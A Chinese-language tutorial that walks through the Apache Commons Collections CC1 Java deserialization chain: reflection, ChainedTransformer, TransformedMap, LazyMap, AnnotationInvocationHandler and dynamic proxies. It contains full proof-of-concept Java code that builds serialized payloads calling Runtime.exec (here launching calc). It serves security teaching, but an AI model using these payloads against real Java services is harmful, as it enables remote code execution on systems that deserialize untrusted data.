重点要知道:
-
java是半编译型,半解释性语言,需要将编译好的
.class
文件放入JVM中加载 -
我们通过反射可以从已经运行的JVM中拿到我们想要的类,从类中获取构造方法,进行实例化,调用相关的方法,主要是Runtime的命令执行
-
java的序列化和反序列化,反序列化时会调用
readObject()
方法,我们构造的readObject方法,需要满足和原项目中的包名一样的包名hexdump -C Calc.class
上节课忘记讲了,,我们在传递数据的时候,为了保险稳定,一般会传入字节码
可以看到,class中是带了包名,我们说过,类是对象的模板,那么,在序列化对象的时候,如果包名出现了问题,自然会遇到一系列问题。
CC链1
我们已经知道了序列化和反序列化漏洞的基本原理,那么怎么通过构造恶意数据,让反序列化产⽣⾮ 预期对象呢?
我们以CC链进行举例
组件介绍
Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合⼯ 具类。
collection是set,list,queue的抽象。
作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。
Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。
前置疑问
使用反射获取的Runtime类,为什么可以放到readObject
方法中
实际上,我们简短的描述进行命令执行的化,就是这样,
Runtime.class.getMethod("getRuntime").invoke("null").exec("calc")
而我们使用反射的原因是因为,我们通过反射获取Runtime
类以后,他就实现了Class本身所继承的Serializable
我么现在写一个最基本的demo
package com.CC1;
public class Demo {
public static void main(String[] args) {
Class<Runtime> runtimeClass = Runtime.class;
}
}
当我们使用 ctrl alt v
补全类型以后,会发现他是Class <>的泛型,当我们长按ctrl
,左键点进去之后,就很明显的发现,它实现了Serializable
接口,那么,他就满足了序列化的条件
Runtime 用的时候不用 new吗?
如果你有这样的疑惑,你不妨这样试一下
package com.CC1;
public class Demo {
public static void main(String[] args) {
Runtime runtime;
runtime = new Runtime();
}
}
它肯定是会报错的,因为他是一个单例类,,具体什么叫单例类,,自己可以看一下java的基础知识去,
参考java设计模式中单例模式就可
这里放一张图
所以我们需要用getRuntime
方法去获取实例
环境
-
CommonsCollections <= 3.2.1
-
java < 8u71(我是用的是8u66)
-
导入依赖
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
当然也可以 用传统的
lib
包下导入add as a library
在CC链中使用的类
理解完上面的知识以后,你应该对反射和序列化有了初步的印象,接下来我们需要结合两者看几个demo
Map类->TransformedMap
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap , 具体的变换逻辑由Transformer类定义。
也就是说,TransformedMap类中的数据发⽣改变时, 可以⾃动对进⾏⼀些特殊的变换,⽐如在数据被修改时,把它改回来; 或者在数据改变时,进⾏⼀ 些我们提前设定好的操作。
而实现怎么样的操作或者便换,都是我们提前设定好的,这叫做
transform
我们可以使用TransformedMap.decorate()
方法获取一个TransformedMap
的实例 (同单例类)
TransformedMap.decorate⽅法,预期是对Map类的数据结构进⾏转化,该⽅法有三个参数
第⼀个参数为待转化的Map对象
第⼆个参数为Map对象内的key要经过的转化⽅法(可为单个⽅法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化⽅法
Map的其他知识
- Map是java中的接⼝,Map.Entry是Map的⼀个内部接⼝。
- Map提供了⼀些常⽤⽅法,如keySet()、entrySet()等⽅法。
- keySet()⽅法返回值是Map中key值的集合;
- entrySet()的返回值也是返回⼀个Set集合,此集合的类型为Map.Entry。
- Map.Entry是Map声明的⼀个内部接⼝,此接⼝为泛型,定义为Entry。它表⽰Map中的⼀ 个实体(⼀个key-value对)。接⼝中有getKey(),getValue⽅法,可以⽤来对集合中的元素进⾏ 修改
Transform接口
ConstantTransformer
作用:得到 class 对象
package com.CC1;
import org.apache.commons.collections.functors.ConstantTransformer;
public class Demo01 {
public static void main(String[] args) {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object transform = constantTransformer.transform("null");
System.out.println(transform);
System.out.println(transform.getClass().getName());
}
}
InvokerTransformer
作用:接⼝于Transformer的类都具备把⼀个对象转化为另⼀个对象的功能
先看一下它最常用的构造方法,可以看到需要传递三个参数
再看一下它的transform
方法
我们可以看到该类接收⼀个对象,获取该对象的名称,然后调⽤了⼀个invoke⽅法传递参数。另外,多 个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺 序调⽤⼀系列的变换。
package com.CC1;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo02 {
public static void main(String[] args) {
// 定义需要执⾏的本地系统命令
String cmd = "calc";
// 构建transformer对象
InvokerTransformer transformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{cmd}
);
// 传⼊Runtime实例,执⾏对象转换操作
transformer.transform(Runtime.getRuntime());
}
}
ChainedTransforme
当传⼊的参数是⼀个数组的时候,就开始循环读取,对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。
package com.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo03 {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
// 创建ChainedTransformer调⽤链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执⾏对象转换操作
transformedChain.transform(null);
}
}
于是,我们的思路环境就出来了
- ConstantTransformer --> 把⼀个对象转换为常量,并返回 ->获取到了Runtime.class
- InvokerTransformer --> 通过反射,返回⼀个对象 -> 反射获取执行方法加入参数
- ChainedTransforme -->执⾏链式的Transformer⽅法 ->将反射包含的数组进行链式调用,从而连贯起来
当然,这里所调用的每个类自然也是继承了Serializable
接口,例如,
整体思路还是和上节课反射一样,仔细捋一下。上节课我们也提到过最后用数组包含起来传值的思路,这样是不是就理清了很多。
TransformedMap
通过上面的几个例子,我们应该可以明白,最终是需要调用transform
方法,才能完成我们最后一步。
但是,问题就来了:
- 如何传入恶意的
ChainedTransformer
; - 如何调用
transform
方法执行本地命令;
但是我们看一下由工具ysoserial
构造的payload
org.apache.commons.collections.map.TransformedMap
类间接的实现了java.util.Map接口,同时支持对Map的key或者value进行Transformer转换,调用decorate和decorateTransform方法就可以创建一个TransformedMap:
关键代码如下
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。
我们可以把chainedtransformer
绑定到一个TransformedMap
上,当此map的key或value发生改变时(调用TransformedMap
的setValue/put/putAll
中的任意方法),就会自动触发chainedtransformer
。
所以,我们的demo’可以如下:
package com.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo04 {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
// 创建ChainedTransformer调⽤链对象
Transformer transformedChain = new ChainedTransformer(transformers);
//创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使⽤TransformedMap创建⼀个含有恶意调⽤链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null,
transformedChain);
// transformedMap.put("v1", "v2");// 执⾏put也会触发transform
// 遍历Map元素,并调⽤setValue⽅法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最终调⽤到InvokerTransformer的transform⽅法,从⽽触发Runtime命令执⾏调⽤链
entry.setValue("test");
}
// System.out.println(transformedMap);
}
}
我们就来总结一下使用TransformedMap
的条件
- 实现了
java.io.Serializable
接口; - 并且可以传入我们构建的
TransformedMap
对象; - 调用了
TransformedMap
中的setValue/put/putAll
中的任意方法一个方法的类;
AnnotationInvocationHandler
在AnnotationInvocationHandler
中 invoke方法都调用了get方法参数可控,readObject方法中满足setValue()
进行transform
执行
这里以readObject
做例子
这里的
readObject
是AnnotationInvocationHandler中的------>具体参考java的多态性质
sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,是用来处理注解的一个类。它还重写了readObject方法,在readObject方法中间接的调用了TransformedMap中MapEntry的setValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。
我调了一下,调用堆栈如下
readObject:428, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:82, Demo05 (com.CC1)
可以看到,调用了setValue()
方法
上图中的第352行中的memberValues是AnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject();时反序列化生成的,它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。
于是,我们修改后完整的过程如下
package com.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
public class Demo05 {
public static void main(String[] args) {
String cmd = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
try {
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);
// 创建用于存储payload的二进制输出流对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);
// 序列化AnnotationInvocationHandler类
out.writeObject(instance);
out.flush();
out.close();
// 获取序列化的二进制数组
byte[] bytes = baos.toByteArray();
// 输出序列化的二进制数组
System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));
// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);
// 模拟远程的反序列化过程
in.readObject();
// 关闭ObjectInputStream输入流
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
LazyMap
看到这里,你会发现,不对啊,ysoserial
里面是LazyMap
,而我们却没有讲到,这里讲一下
有师傅分析LazyMap
类,里面的get
方法正好符合put
去调用transform
的情况
get方法同时还要求传入一个Object 参数,get方法内部在调用transform方法之前会先判断一下key,如果当前map中不存在key的话,则通过factory来创建一个value
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
同时,因为factory是LazyMap类的成员属性,其数据类型也是Transformer
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {
/** Serialization version */
private static final long serialVersionUID = 7990956402564206740L;
/** The factory to use to construct elements */
protected final Transformer factory;
同时还具有我们熟悉的decorate
方法,这个方法和之前TransformedMap中的decorate方法的用法一样,它要求接收两个参数,一个是Map,另一个是Transformer类型的factory,这意味着factory参数是可控的,我们可以通过反射或者构造方法来控制factory参数。
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
LazyMap类的利用链问题解决了,但还需要一个类在反序列化的时候触发LazyMap类的get方法,因此还得借助AnnotationInvocationHandler类,通过AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,也就是说我们要获得AnnotationInvocationHandler的构造器。
这里我们以invoke()
方法做例子
其中invoke的关键函数是,可以看到invoke方法中有一个memberValues调用了get方法,memberValues的值是可控的。
public Object invoke(Object var1, Method var2, Object[] var3) {
Object var6 = this.memberValues.get(var4);
}
如何调用AnnotationInvocationHandler类中的invoke方法
答案就是:通过反射将代理对象proxyMap传给AnnotationInvocationHandler的构造方法
代理对象
通过分析AnnotationInvocationHandler类,发现这个类实现了InvocationHandler接口,是动态代理的接口。
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h);
-
参数loader表示目标对象所属类的加载器,因此这里要传入Map的类加载器
-
参数interfaces表示目标对象实现的接口(通过反射获取),也就是目标对象lazyMap实现的接口,这里还是传入Map对象
-
参数h表示代理类要完成的功能,注意参数h的类型时InvocationHandler,因此这里我们要传入AnnotationInvocationHandler对象
具体的话参考此https://blog.csdn.net/u012326462/article/details/81293186
在Spring里面,逐渐演化为AOP思想
既然我们的目标是调用LazyMap类的get方法,那么可以通过Proxy类的静态方法newProxyInstance来创建LazyMap类的动态代理对象,当lazyMap调用方法时就会调用代理对象的invoke方法。
思路
通过调试,AnnotationInvocationHandler的构造会将代理对象proxyMap赋值给成员属性memberValues
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
然后AnnotationInvocationHandler对象在反序列化的时候调用重写的readObject方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
Map var3 = var2.memberTypes();
//获取LazyMap父类的entrySet
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
//代理对象调用方法
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
当调用readObject方法时,memberValues的值就是代理对象proxyMap(也就是LazyMap的代理对象),只要代理对象proxyMap调用方法就会执行AnnotationInvocationHandler中的invoke方法(代理对象调用任何方法In,不管vocationHandler的invoke方法都会进行拦截,这就是动态代理技术)
所以,我们可以构造为
package com.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Demo06 {
public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler);
annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(annotationInvocationHandler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
思路图
解答
-
LazyMap链的触发点不应该是 this.memberValues.entrySet() 吗?然而调试发现并不是从这个断点进入的命令执行,而是从 (Entry)var4.next() 方法进入的
-
TransformedMap链的HashMap实例需要存在value键,否则无法通过
if (var7 != null)
条件,具体为什么HashMap的键值对应着AbstractInputCheckedMapDecorator.MapEntry的键值